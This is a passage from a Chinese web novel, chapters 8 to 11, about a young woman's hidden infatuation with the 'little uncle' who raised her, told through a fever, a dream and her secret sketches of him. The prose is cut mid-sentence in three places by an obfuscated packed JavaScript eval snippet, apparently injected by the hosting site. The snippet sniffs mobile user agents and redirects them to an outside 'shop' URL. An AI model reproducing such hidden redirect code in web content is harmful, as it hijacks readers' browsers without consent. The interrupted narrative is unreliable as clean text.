明绯气恼,伸手就要去抢。 宴西叙却仿佛早有预判,换了一只手,轻松让明绯扑了个空:“小孩耍赖了?” 明绯抢不过他,索性放弃,看了一眼蛋糕道:“我做的又怎么样?早就摔烂了,给巧克力,巧克力都不会吃。”巧克力是明绯养的一条博美,也是宴西叙送她的十六岁生日礼物。 宴西叙挑眉:“你长这么大,第一次亲手为我做的蛋糕,我还能便宜了巧克力?” 说完低头尝了一口纸碟上的蛋糕:“……一尝就知道是我们绯绯做的,榛子酱和奶油都跟不要钱似得。不过,”他忽然收了散漫玩味的姿态,认真地看着她:“小叔叔很喜欢,谢谢绯绯。” 明绯眼睫轻轻颤动,搭在膝上的手指蜷缩了一下。 宴西叙又切了一小块蛋糕递给她:“自己辛苦做的蛋糕,真的不尝尝?” 明绯抿了抿唇,抬眼再度看向那个蛋糕——确确实实是摔烂了,奶油被挤到一起,榛子酱和蛋糕胚混成一团,几乎是一塌糊涂,让人倒尽胃口。 小心翼翼护了一路的蛋糕,到底还是摔烂了。 是什么时候烂的呢?撞见他和姜璃亲密的时候?还是更早,在雨地里摔的那一跤,其实已经烂了,只不过她一直没有发觉? 这两个画面在脑海中重叠交织,讽刺而割裂。 她忽然觉得可笑。 就好像……她是天底下最大的傻瓜。 情绪忽然变得失控,她一把打掉了他递过来的蛋糕:“都说了已经烂掉了!” 啪叽一声,一个蛋糕中最完好的那部分也同样摔烂在地上。 宴西叙怔了一瞬。 8. 第 8 章 他抬眼看她,少女的眼圈已经泛红,浓睫掩映下水汽氤氲。 她哭了。 宴西叙喉结迅速滑动,拇指抚拭她眼角的湿,神情少有的慌乱无措:“绯绯,怎么了?” 少女抬眸看他,哽咽道:“小叔叔,你不能趁宴爷爷不在就乱来,随便……随便带人回家,等他回来后,我会告诉他的!” 宴西叙一怔,松了口气,捏了捏她的脸颊,唇角浮着笑:“就为这事,也值得掉眼泪?” “怎么,怕我被爷爷骂啊。” 明绯咬唇:“总之……你不能乱来。” “我没乱来啊,啧,我跟她什么关系都没有。”见小姑娘狐疑地看着他,一副不太信的样子,无奈地扯了唇角,耐着性子解释:“公司新推出一款智能陪伴机器人,缺个代言人,你不是喜欢姜璃吗?我就让品牌部联系了,就在今天酒会上签的约。” “底下的人自作主张,不知道跟她说了什么,让她送我回来,就有了你看到的那一幕,但事实上,我跟她什么关系都没有。” 宴氏近年来开始涉足科技新兴产业,宴西叙自己创立了深蓝科技,主攻人工智能和芯片研发,前不久刚推出了一款智能陪伴机器人,生产调试完成的第一台机器人,当晚就出现在了明绯的房间。 所以,确实是有这件事的。 明绯抿了抿唇,卷翘的眼睫上还挂着要坠不坠的泪珠,但眸底已经浮起点点亮光:“她真的,不是你的女朋友……或是情人吗?” 宴西叙笑:“当然不是,想什么呢。” “那……”明绯慢慢攥紧手指,咬着唇,脸颊泛红,似乎难以启齿,但最终还是问了出来:“你有和她……那个过吗?” “什么?”宴西叙皱眉,有些意外她会这么问。 明绯在他眼中一向是不谙世事的小女孩,突然问出这种问题,他还真担心今晚的事给她造成什么影响,不过还是如实答:“我没有和她上过床。” “那……你有和别的……” “明绯,”宴西叙叫了她一声,开口打断,挑眉问:“怎么,我长得很像会乱来的人?” 明绯抬眸,仔细地看着他,灯光下男人的肤色冷白,一双桃花眼风流浪荡,唇角天然上挑,不笑也含情。 她诚实地点了点头:“……像。” 宴西叙被气笑了,屈指敲了一下她的额头:“小没良心的。” 他收了玩笑神色,看着她:“我从不乱来。” 明绯目光灼灼地看着他,抿了抿唇,又试探地问了一遍:“……小叔叔,你没骗我?” 宴西叙:“我骗小孩做什么?” 也是,明绯想,他根本没有骗她的必要——她算什么呢,一个小侄女?这样的身份,他大概都不屑骗她。 隐隐的失落之下,却又浮上隐秘的雀跃。 ——也就是说,他没说谎。 误会解除,她的神色肉眼可见变得明亮鲜活起来,仿佛骤雨初霁。 语气也不像之前那么生硬,又恢复成一贯轻软的语调,伸手挽上他的胳膊:“小叔叔,那我不告诉宴爷爷了……”说着仿佛后知后觉地想起什么,小声找补道:“我只是关心你……乱来的话,会得病的。” “我知道啊。”宴西叙随意回道。除了这个,还能有什么别的原因? 明绯垂眸掩下神色,轻轻“嗯”了一声。 片刻后。 “唔,我饿了,”明绯抬眸,可怜兮兮地看着他:“小叔叔,我想吃蛋糕。” 宴西叙挑眉:“不生气了?” 明绯轻哼:“只是误会的话,本来就没有生气……” 宴西叙懒洋洋地道:“可刚才最完好的那一小块蛋糕,已经被某人摔烂了。” “没关系的,”明绯仰着脸,笑容甜美:“我就爱吃摔烂的蛋糕,榛子酱和奶油挤在一起的话,会更甜哦。” 宴西叙扯了唇角:“小东西,变脸比翻书还快。” “是因为太在乎小叔叔才会这样啊……” “行,算小叔叔没白疼你,”宴西叙帮她切了一小块蛋糕,亲自喂给她。 明绯靠在他的肩上,张嘴含下:“唔……好吃,谢谢小叔叔……” 一口接着一口,她很快吃完了一块,又撒娇要他喂第二块。 宴西叙又切了一块喂她:“晚上没怎么吃东西?还有,腿上的伤怎么回事?” “嗯……胃口不好,所以只吃了一点……晚上十点多集训才结束,下雨了,路上又堵,我怕赶不及给你过生日,就捧着蛋糕下车跑,雨天路滑,很容易就摔倒了……” 明绯低头看了一眼手边,又仰着脸看他,笑得眉眼弯弯:“十一点五十八,还没过零点,好在一切都刚刚好……” “傻瓜,为什么要下车跑,我说了,我的生日对我不重要……” “但是对我很重要,”她的眼睛异常明亮,一瞬不瞬地望进宴西叙的眼底,执拗而纯粹:“小叔叔是对我很重要的人。” “我知道因为你爸爸妈妈的关系,你没有在他们的陪伴下好好过过生日,宴爷爷年纪大了,需要经常去医院,也不能好好陪你,但是你还有我,我会永远陪在你身边,和你度过每一年的生日。” 宴西叙喉结滚动,心底那些最灰暗的角落,幼时不堪的记忆,不愿回想的过往,仿佛被阳光一一驱散,只剩下一片柔软:“傻瓜,你对我也很重要。” 他低头,额头与她轻碰:“比我的生命还重要。” “所以,下不为例,记住了?” 明绯乖巧地点头,不和宴西叙闹脾气的时候,她在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660771|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前一向很乖,像只亲人的小猫咪,粘人又温顺。 他的手指搭上她伤口的纱布,又问:“疼吗?” 明绯撒娇:“小叔叔多疼我一点,我就不疼了。” 宴西叙懒散笑:“都成年了,怎么还跟小孩一样爱撒娇?” “那是因为你一直把我当小孩,小叔叔真的很过分。” “又过分了?刚还不是说我是对你很重要的人么?” 明绯歪头甜笑:“虽然小叔叔很过分,但我还是最喜欢你。” 宴西叙掀唇:“油嘴滑舌。” 明绯黏人,黏着他讲了一会儿话后,很快就十二点半了。 宴西叙又一次提醒她该休息了。 明绯有些失落,垂下眼睫:“我回来的时候就已经十一点多了……”才和他待了这么一会儿。 宴西叙蹙眉:“以后都要这么晚回来?” “嗯,因为要冲刺了,所以集训任务会比较重……” 宴西叙摸着她的发顶:“会不会太辛苦?” 明绯连忙抬头,坐起身,着急地道:“不辛苦,你知道的,考入北美是我的梦想。” 宴西叙微眯起眼。 明绯这样的反应,似乎有些过了。 很轻易让他想起两年前他跟她提起打算送她出国念书时,她反应格外激烈,怎么都不肯。 他知道她从小喜欢画画,送她出国学美术,他会帮她安排好一切,联系最顶尖的作品集导师进行线上辅导,拿到校友的推荐信,搞定RISD的offer,她完全可以避开国内激烈的竞争,在不那么辛苦的前提下,继续她对艺术的创作。 但她不肯出国,甚至不肯离开北城,她说她从小的梦想是考北美,她答应过她的父母,一定会做到,她不想让他们失望,也不想因为没有拼尽全力而留有遗憾。 行,既然是她的梦想,他尊重。 他也不想她的人生留有任何遗憾。 所以即便心疼,也只能继续看着她往前走,好在快了,很快就艺考,艺考要是过了,文化课过线就行,以明绯的成绩,问题不大。 宴西叙按着她的后颈,“行,这段时间可能会辛苦,但这是绯绯自己的选的路,我能做的只有支持,我也相信绯绯一定能做到。” 他想了想,挑眉笑:“等你考上了,小叔叔满足你一个愿望。” “满足我一个愿望?”明绯眼睛明亮地看着他:“那我想要什么,小叔叔都会满足我吗?” 宴西叙耸肩,懒散笑:“当然啊。” 明绯莞尔,颊边梨涡浅浅:“谢谢小叔叔,你最好了!” 她伸手圈住他的脖颈,深深地看着他:“我有个愿望,想在考完试后告诉小叔叔。” “我希望,小叔叔能帮我亲手实现它。” 9. 第 9 章 又黏了二十分钟,明绯终于被宴西叙按回了床上,他替她盖好被子,起身道晚安:“好了,该睡觉了。” 明绯眨了眨眼:“可是明天是周末……” 宴西叙双手斜插在西装裤袋里,站在床边看她:“周末也不能这么晚睡。” “好吧,”明绯手指攥住被角,往上一拉,遮住大半张脸,只露出一双清透的眼眸,浓睫卷翘,透着几分俏皮:“小叔叔晚安,我会在梦里继续陪你过生日的。” 宴西叙被她可爱到了,掀唇轻笑:“乖,好梦。” 刚要出去,又听她瓮声瓮气地叫他:“小叔叔,我躺下之后,觉得嗓子有些难受……头也好晕,你能不能过来看看我……” 宴西叙脚步一顿。 明绯从小黏人,经常会找一些借口让他留下来多陪她一会儿。 他以为她又是故技重施,走过去后,一探额头,却发现她的体温不太对,立刻蹙眉:“绯绯,你是不是发烧了? “唔,是么……有可能……今天淋了雨,回来后一直有些头晕……”之前和宴西叙说话,她满心满眼都是他,没注意到身体的不适,或者说,根本没有心思理会。 可他一走,身体放松,之前被压制忽略的不适便加倍袭来。 “小叔叔……”她难受得哼哼:“我口渴……想喝水……” 宴西叙立刻帮她倒了一杯水,扶着她坐起,让她靠在他身上,小心地喂她喝水、 明绯的温度起来得很快,不过喝完水的功夫,整个人已经昏睡在了他的怀里。 红唇微张,喃喃地叫着他,白腻的脸颊泛着不正常的红晕。 用体温计测量后,宴西叙看着上面的数字,太阳穴突突地跳。 他喉头干涩,伸手扯松领带,眼底一片沉灼。 每次明绯受伤或者生病,他总隐隐失控,烦躁不已。 他深深地吐出一口气,勉强冷静下来。 之后用湿毛巾覆在她的额头,又喂送了她退烧药,同时给家庭医生打去电话。 等待的这段时间是最难熬的,无论是等家庭医生过来还是退烧药起作用。 他寸步不离地守在明绯身边,她在睡梦中一遍遍地叫着“小叔叔”,他握着她的手,耐着性子应她:“我在。” 等待的间隙,宴西叙不时地低头看时间,估算时间差不多了,又打电话确认医生现在所在的位置。挂断后,刚好瞥见通讯录里品牌部经理王恒的名字。 这时屏幕上方忽然弹出一条短信【宴总,我是姜璃,今晚的事我很抱歉,您明天晚上有约么?如果可以,我想再当面和您好好道歉。】 宴西叙冷笑一声,当即给王恒打了过去。 电话几乎立刻接通了,王恒谄媚中又夹杂着一丝暧//.昧的声音传来:“小宴总,您还没休息呢……怎么样,今晚玩儿得尽兴吗?哈哈。” 宴西叙嗓音冷寒:“尽兴?我看你干蠢事倒是干得挺尽兴的。” “呃……这,宴总,您……” “谁允许你自作主张?”他重重地换了口气,食指勾住领带结一把扯下:“绯绯生病了,你知道吗?”虽然理智上他明白明绯生病和这件事并没有太大干系,但现在明绯高烧不退,他焦灼不安,情绪失控,急于寻找一个发泄口,何况今晚明绯撞见的那一幕,也确实让她受到了惊吓。 电话那头王恒战战兢兢地道:“明小姐生病了?这……这严重吗?小宴总,您先别太着急了……”虽然他并不知道宴西叙的心肝宝贝小侄女生病和这件事有什么关系,但还是顺着说了些不痛不痒的话,谁都知道一旦明绯有什么差池,这种时候,往往是宴西叙脾气最差的时候。 果然之后便是劈头盖脸的一顿臭骂,不光要他写检讨,下周一还要在集团范围内发邮件通报批评,这真是丢尽老脸了。 王恒擦着冷汗,只能点头应是。 宴西叙:“还有姜璃,代言不用她了,以后宴氏不会跟她有任何的合作。” 王恒一愣:“……可是小宴总,合同昨晚刚签,您看……” 宴西叙冷嗤:“怎么,还要我教你解约流程?” 这就是要赔违约金的意思了,王恒心中叫苦,这么一来,项目奖金也飞了。 宴西叙给姜璃的代言费不低,违约金的赔付比例一般是30%,王恒算了一笔账,明绯生病,宴西叙发脾气解约,根据过往的经验,明绯所谓的生病,大多也只是些无关痛痒的小病,至于这次为什么生病,难道是不满意姜璃做她小叔叔的情人? 行,她明大小姐一不高兴,就生场大几百万的小病,不愧是宴西叙的心肝,惯是会折腾。 挂断电话后,宴西叙注意到明绯似乎很不安稳,喃喃地叫着他,似乎在说:“小叔叔,别凶我……” 大约是刚才教训王恒语气太凶,把她吓到了。 宴西叙弯下身,拇指摩挲着她的手腕,语气又马上变回一种近乎小心翼翼的温柔:“别怕绯绯,小叔叔不是凶你。” —— 家庭医生很快就到了,简单地询问了症状和病史,检查过后,收起听诊器,又看了一眼温度计,说道:“目前体温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660772|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 39摄氏度,但试剂结果是阴性,没有检测出呼吸道病毒,心肺也没有杂音,应该只是普通的淋雨受凉,我给明小姐挂个点滴,两个小时后麻烦小宴总复测体温,如果到明天早上还没有退烧,请立刻联系我。” 家庭医生走后,宴西叙继续守在明绯身边,到了后半夜,明绯的温度终于降了下去。 宴西叙紧绷的精神松懈下来,眼皮后知后觉变得沉重,片刻后趴在床沿边睡了过去。 明绯这一晚昏昏沉沉间做了一个梦。 她又梦到了她今晚拎着蛋糕,怀着期待的心情,上楼去宴西叙房间找他的场景。 房门虚掩着,有灯光从门缝里漏出,在地毯上投下一道斑驳光影,光影晃动,引诱着人往前窥视。 她上前推开门,依旧是一个女人跪坐在沙发边沿,双腿侧开,坐在宴西叙的身上。 如海藻般的头发逶迤垂下,遮住了两人纠缠的身影。 她亲吻着他,动作却略显稚嫩生涩,与现实不同,这回宴西叙却是睁着眼,大手掐握住女人纤细的腰肢,女人吻着他的眼睛、鼻梁,等终于要贴上他的唇时,他却懒洋洋地偏过了头。 女人的吻落了空,不甘心地追上去,他勾着唇角,又往后陷。 再次落了空。 等女人生了气,要从他身上下去时,他才掐着她的腰,漫不经心地迎了上去。 先是若有似无地蹭过她的嘴角,之后撬开她的唇,舌尖探入,慢条斯理吮//.吸舔舐。 慵懒随性,游刃有余。 女人毫无招架之力,很快就软了身子,任由男人为所欲为。 他另一只手扣着她的后颈,将人按过来,舔吻着她白腻的耳垂,女人肉眼可见地变粉。 唇角含着懒散笑意,他又凑近了些,附在她耳边,像是在说什么动人的情话,女人身子轻颤,更紧地环抱住了他。 明绯看着眼前的这一幕,气血上涌,耳边嗡嗡作响,整个人像是被定在原地,死死攥紧了手。 房间开着窗,夜风从窗外吹入,墙顶的水晶灯轻轻摇晃。 忽然,男人抬起了眼,视线透过晃动的光影直直地望向了她。 他眉尾轻挑,唇角勾起一个玩味的笑,无声地问她:“看够了吗?” 明绯瞳孔骤缩。 身前的女人似乎也察觉到异样,娇懒地回头,却不是意料中姜璃的那张清纯漂亮的脸蛋,在看清女人的长相后,明绯惊不能语—— 那张脸……居然和自己长得一模一样。 那个女人,就是她! 10. 第 10 章 明绯猛地睁眼,瞬间从梦中惊醒。 一转头,正对上宴西叙近在咫尺的一张脸。 晨光透过纱帘漫进来,他趴在床沿,手臂枕着脸,额前的黑发凌乱,眼睫低垂着,眼睑处拓下淡淡的阴影。 阳光照在他的脸上,冷白的皮肤几乎透明,鼻梁高挺,呼吸浅淡。 梦境里出现的那张脸,醒来后又第一时间见到,梦境和现实的界限变得模糊而虚幻,她一时有些恍惚。 明绯屏息看着他,犹豫了一会儿,试探地叫他:“小叔叔?” 下一刻,漆黑的眼睫微动,宴西叙缓缓睁开了眼。 四目相对,梦中荒唐的一幕幕毫无征兆地翻涌上来,和眼前这张脸重叠交织。 明绯的心脏瞬间跳得极快。 她慌乱地垂下眼,浓密卷翘的眼睫细细颤动,手指无意识地揪紧被子,耳尖发烫。 宴西叙抬头,慢条斯理地直起身。 捏了捏眉心,他看了她一眼,嗓音低哑,带着刚醒的慵懒:“醒了?” “刚才……”他顿了顿:“叫我?” “噢,”明绯小声地道:“……想看你会不会醒……呃,我是说,趴在床沿边睡会不舒服,如果小叔叔醒了的话,可以回房间睡……” “这样啊,”宴西叙含混地笑了声:“谢谢绯绯。” 明绯的心绪忽然很乱,含糊不清地说了句:“不用谢的。” 空气突然有一瞬的凝滞。 她没听到他继续说话,她自己心虚,只觉得此刻的安静莫名变得难以忍受。 她手指摩挲着薄被的边缘,犹豫着抬起头。 却正好撞进他的眼里。 琥珀色的瞳仁在日光下颜色更浅,桃花眼似笑非笑,懒散地睨过来,微微皱眉。 他抬手,忽然靠近,一张俊脸逼至眼前,手背搭上她的额头,试了下温度:“退烧了啊。” 明绯呆呆地看着他:“……什……什么?” 宴西叙蹙眉:“退烧了,为什么脸还是那么红?” 明绯猛地揪紧了被角。 眼睫轻轻颤动,她迅速地翻身,背对着他,胡乱找了个借口:“那是因为……太热了!” 她想她真是无药可救了,居然会做那样的梦,梦到和宴西叙…… 偏偏醒来时他就在她身边,还要问她这种愚蠢的问题。 他什么都不知道……他根本什么都不知道! 她怕他知道,更讨厌他什么都不知道。 她莫名有些恼,甚至于恼羞成怒,扯了被角不动,便索性找了个借口怪他,话里有话地发作道:“是小叔叔压到我被角了,所以才会这么闷热……小叔叔真讨厌!” 宴西叙挑眉,低头看了一眼,移开了手肘:“抱歉,不过——”他唇角勾起,似笑非笑道:“我费心照顾了你一晚上,你就这么对我啊?” 他抬手摸了摸她圆润的后脑勺:“好女孩要有礼貌,知道么?” 明绯把脑袋往他手心蹭:“哼。” 宴西叙起身:“现在还早,困的话,再睡会儿。我这个周末不出去,就在家里陪你。你有什么想吃的,我让人去做。” 忽然他顿了顿,滚动了喉结,忽然像是想起了什么:“对了,我有样东西要给你。” 明绯没想到他说要给她的东西,会是姜璃的亲笔签名照:“就为了去要这张东西,惹出许多风波,本来想扔了,不过你之前跟我说过想要,我想了想,还是先给你,之后随你怎么处置,嗯?” 宴西叙走后,明绯靠在床头,手指摩挲着姜璃的那张亲笔签名照,心情复杂。 照片上的姜璃依然清纯动人,右下方用粉色签名笔流畅地签了“姜璃”二字,还画了一颗饱满的粉色爱心。 很用心的签名,唐甜芯收到一定会很高兴。 她还是会将这个签名照送给唐甜芯,不过以后类似的事情,她不会再做了。 —— 天气预报说周末有台风过境,这两天果然陆续开始下雨。 明绯的病已经好了,但还是有些困倦,宴西叙就在家里陪着她,两人一起窝在沙发上打游戏、看电影。 这天明绯刷到一个有意思的帖子,说是有一部电影特别神奇,观看三十分钟后,有不少人会被催眠睡过去,明绯不信,非要试一试,拉上宴西叙去她房间陪她一块儿看。 电影开始后,舒缓的背景音在房间缓缓流淌,使人不自觉地放松下来。 室内光线昏暗,只有荧幕的光影在幕布上缓缓流动,将整个房间笼罩在一片柔和的光调下。 出风口吹出的暖风轻轻拂过皮肤,明绯陷在柔软的沙发里,怀里抱着一个蓬松的抱枕,余光瞄向宴西叙,又悄悄往他身边挪过去一点。 窗外雨声淅沥,伴随着风声呼呼,却更衬得房间内温暖而安宁,有一种莫名的心安。 明绯的心思也没在电影上,时不时地低头看时间,等终于过了半小时,立刻转头看向一边的宴西叙。 男人阖着眼皮,不知什么时候已经睡着了。 电影的光线映照在他脸上,忽明忽暗,将他眼睫投下的阴影拉得老长。 脸隐在昏暗的光线下,影影绰绰地看不清,轮廓却愈发分明。 很漂亮的剪影,完美到像是一幅静心描摹的画。 明绯又靠近了一点,轻声叫他:“小叔叔?” 男人眼皮动了动,却并没有醒来,像是很快又睡了过去。 明绯失望地垂下眼睫。 睡得太浅,她不敢做坏事。 雨声渐密,噼里啪啦地拍打在玻璃窗上。 而房间内,这一小方天地,只有电影轻缓的对白和两人交错的呼吸。 —— 不知过了多久,明绯萌生了为他描幅素描的冲动——她长大后,像这样和他长时间独处的机会越来越少,光明正大让他配合她画画的机会总是有限的,所以眼下趁他睡着不失为一个额外的机会。 铅笔划在纸上,发出沙沙的动静,混着窗外的雨声和电影断断续续的对白,反倒有一种格外的静谧。 电影还没有播放完,素描已经画完。 明绯正用笔刷轻轻扫掉碎屑,这时电影已接近尾声,字幕滚动完之后突然插入的广告噪音不小,宴西叙轻轻蹙眉,几乎立刻被吵醒。 他捏了捏眉心,醒来后习惯性地偏头看向一旁的明绯,视线落空,抬头才发现她不知什么时候已经从沙发上起来,此刻正支着画板,位于他的右侧画画。 宴西叙挑眉,叫了她一声:“绯绯?” 明绯来不及将素描收起来,宴西叙身高腿长,几步就走到了画板面前,低头扫了一眼,嗓音带着刚醒的低哑:“在干什么呢,嗯?” 明绯捏紧笔刷,低着头:“没什么,随便画画。” 宴西叙漫不经心地绕到她身后:“画了什么,让我看看?” “小叔叔,我……”明绯抿紧唇,她来不及阻止,那副素描便完整地暴露在他面前。 宴西叙挑眉:“画我?” 这其实是再正常不过的一句问话,但她心里有鬼,闻言立刻应激似得道:“这里又不是户外,没别的风景,我除了画你,还能画什么?” 宴西叙一怔,似乎也没想到她反应这么大,散漫地勾起唇角,懒洋洋地道:“没说不让你画啊。” 明绯指甲扣着画笔,闷闷地“噢”了一声:“小叔叔睡着了,没人陪我讲话,太无聊了,才只能画画啊。”她轻哼道:“没想到小叔叔这么容易被催眠。” “喂,要不是昨晚照顾了你一晚上,我会那么容易被催眠吗?”宴西叙俯身,歪头看她,“不过说起来,那片子催眠效果不错,背景音一响,跟催眠曲似得,我说你没睡着,”他慢慢眯起眼眸,玩笑似得问:“是不是作弊,没看啊?” “你没看电影,”他轻扯了唇角,随意道:“那你在看什么?” 他问得漫不经心,明绯心中却重重一跳。 总是这样……他什么都不知道,却总是搅得她兵荒马乱。 她掩饰性地反驳:“我才没有作弊!我……我一直在看电影!明明是小叔叔自己很容易就被催眠了,却要说我作弊……”顿了顿,又再次哼道:“小叔叔真讨厌……” 她低头迅速地整理好工具,霍然起身:“我手上都是铅笔灰,我要去洗手了……”说完低着头快速走出了房间,几乎是落荒而逃。 宴西叙蹙眉看着明绯离去的背影,渐渐收回视线,低头看向眼前的这幅素描。 线条很干净,轮廓画得很清晰,细节也抓得很准。 颈侧阴暗过渡处理的很细腻,像是她曾经长久地注视过那里。 上面有被橡皮多次擦拭的痕迹,大概是她在临摹喉结细节时,反复修改,直到满意为止。 画得很用心,完成度也很高。 宴西叙喉结滚动,刚想走近,忽然一旁放在工具椅上的笔袋掉了下来,铅笔从笔袋的缝隙里漏了出来,差点划到素描上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660773|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>应该是刚才明绯走得急,没有放稳,这会才会掉下。 他弯腰帮明绯捡起,起身收拾的时候,余光瞥到那幅素描,想着干脆帮她把这幅画也一并放好,省得弄脏。 他记得明绯有一本素描本,凡是觉得满意的作品都会放进去。 那本素描本……应该在书桌上? 他取下那幅素描,转身走到书桌前,果然在书桌的正中央看到了那本素描本。 他翻开素描本,取下金属活页夹上的固定环,把那幅素描放入其中,在这个过程中不可避免地看到第一页的画,是爷爷。 老爷子拄着手杖,坐在客厅的沙发上,笑得开怀。 宴西叙掀起唇角,说起来,他也有一段时间没有见到老爷子了,不过不出意外的话,下周他就能出院回家。 一段时间没见,说不想念是假的,他又顺手往后翻,第二页是明绯的爷爷奶奶,之后是巧克力……再之后他又翻到一张宴老爷子的画……当然,他也看到了他自己。 从第六页开始,他的脸出现在了素描本上。 自那之后,再往后翻看,厚厚的一本素描本,剩下的几乎都是他的画像。 有一些是他记得他配合过的,但更多的,是在他不知情的时候,她偷偷描的—— 从樱花树下他的背影到刚才在沙发上他睡着的模样。 一笔一画,全都是他。 他有些走神,合上之后发现书桌围挡上似乎有另外一本素描本,翻看一看,里面有她的各种练习写生,混着亲人宠物的素描,而刚才的那一本,则更像是他的专属素描本,前面不相干的几张,倒像是刻意掩饰。 宴西叙蹙眉,隐隐觉得有哪里不对,突然听到明绯在外面喊他,似乎有什么急事,来不及细想,立刻合上了素描本,正要出去,动作匆忙间撞上了桌角,不小心带落了桌上的一摞书。 几本书掉了下来,他立刻去捡,是一些画画类的工具书:《色彩与光线》、《透视入门》、《构图的艺术》……其中却夹杂着的一本粉色的笔记本,被压在最后,上面还扣着搭扣,看上去像是一本藏着少女秘密的日记本。 笔记本是软面皮质,捡起后不小心从一摞书的顶端再次滑落,这次书脊磕在桌脚,搭扣弹开,内页哗啦翻动。 视线无意从翻动的几页纸上掠过,宴西叙一怔。 人总是对自己的名字格外敏感。 那几页纸上,“宴西叙”三个字穿插在字里行间,出现的频率之高,几乎可以用密密麻麻来形容。 一笔一画,仿佛在无声诉说着什么。 宴西叙喉结滚动,不知怎么,心中涌上了几分怪异。 外面明绯还在叫他,他来不及细想,啪地一声合上日记本,整理好一切后立刻走了出去。 到了卫生间,明绯却并没有什么事,看到宴西叙之后不好意思地吐了吐舌头:“是窗户没关紧,地上有雨水,我差点滑倒,慌乱之下就叫了你,其实……” “没什么事”这几个字还没说出口,宴西叙已经紧张地上前察看她的“伤口”。 明绯一愣,随即低下头,愉悦地弯起唇角,不管什么时候,她都喜欢宴西叙为她紧张着急的样子。 当然故意找借口叫他出来的原因并不是为了这个——只不过是她突然想起,那个房间里藏有她的秘密,还是不要让他单独待在里面比较好。 宴西叙握着她的肩,她顺势攀上他的脖子,半挂在他身上,歪着脑袋甜笑:“我没事,小叔叔,你不要担心。刚才只是受到惊吓,叫叫你而已,毕竟我是你一手带大的,你是我在这个世界上最亲密的人,我当然最依赖你了。” 宴西叙低头看着她,喉结上下滚动。 绯绯说的对,对她而言,他是她最亲密的人,她只是太依赖他了而已。 所以即便她描了一整本他的素描,日记本上都是他的名字—— 也并不奇怪。 她的世界,本来就只有他。 他发现他居然很享受这个认知,这个世上,没有人会比他们更亲密——只要确定她对他只是依赖,对亲人的依赖。 对他而言,亲情才是这个世上最牢固的情感。他父母双双出轨,各自有着数不清的情人,每一个都喜欢,可每一个都过眼即忘,这就是所谓的爱情。 但无论怎么样,他都是他们最爱的儿子,这一点,永远都不会变。 他想她依赖他,这也并没有什么不好。 这样,她就永远不会离开他了。 11. 第 11 章 台风天气常常伴随着降雨,但明绯没想到今晚会打雷。 她侧躺在床上,怀里抱着粉红色的兔子玩偶,看着窗外划过一道闪电,仿佛一条紫色的光鞭瞬间撕裂夜幕,她的眸底隐隐闪烁着光芒,像是某种隐秘的雀跃。 她不自觉地扬起唇角,在心中倒数着五个数字:五、四、三、二、一……然后,意料之中的雷声响起。 紧接着第二道、第三道……一道比一道响,仿佛就在头顶炸开,震耳欲聋。 但床上的少女不仅没有被吓到,甚至跟着发出“砰”地一声,心情颇好地揪着兔子耳朵。 她期待雷声别停。 如她所愿,惊雷一道接着一道。 感觉时机差不多了,她从床上坐起,抱着兔子玩偶,脚步轻快地走了出去。 …… 另一边宴西叙刚要睡下,天边忽然开始打雷,他坐起身,伸手捏了捏眉心,顿感头疼。 明绯最怕打雷了。尤其晚上,她是不会敢一个人睡的。 从前打雷,她总要磨着和他待在一起。 睡觉也是,必须和他待在同一个房间。 小时候还好,可现在,她已经长大了。 他是享受她的依赖,可那是基于亲人之间的亲密,不能逾越某种界限。 正想着,门忽然“吱呀”一声开了,明绯抱着兔子玩偶出现在门口,一双黑白分明的眼睛一瞬不瞬地望着他,带着某种渴求,嫣红的唇瓣轻抿,一开口,嗓音比平时更软,一听就是求人的口吻:“小叔叔……” 宴西叙一听这个语气,太阳穴就突突地跳。 他要笑不笑地扯了唇角,屈膝往后靠,手搭在膝盖,手指依次轻敲:“怎么地?” “打雷了,我害怕小叔叔,我能和你一起睡吗?” 想什么来什么,他这个小侄女,还真是从来不让他失望。 她眼睛亮晶晶地看着他,顿了顿,才慢吞吞地补充道:“我睡沙发就行,可以吗?” 宴西叙笑了:“你觉得呢?” “我觉得可以!”明绯说着立刻往前走了几步,笑容甜美:“谢谢小叔叔!” “站住。”宴西叙皱眉,眼神意味不明:“我同意了吗?” 女孩脸上的笑意凝固在唇边,手上扯着兔子玩偶长长的耳朵,闷闷地说:“我……我睡觉很乖的,而且我也不打呼噜,不会吵到你。” “我不是说这个。”宴西叙看了她一眼:“绯绯,你已经长大了。” “长大了又怎么样?”明绯不服气地说:“又不是睡在一张床上。” “在同一间房里也不行。” 宴西叙喉结滑动,嗓音沉了下来:“成年男女,没有特殊情况,大晚上的待在同一间房里,你觉得合适吗?” 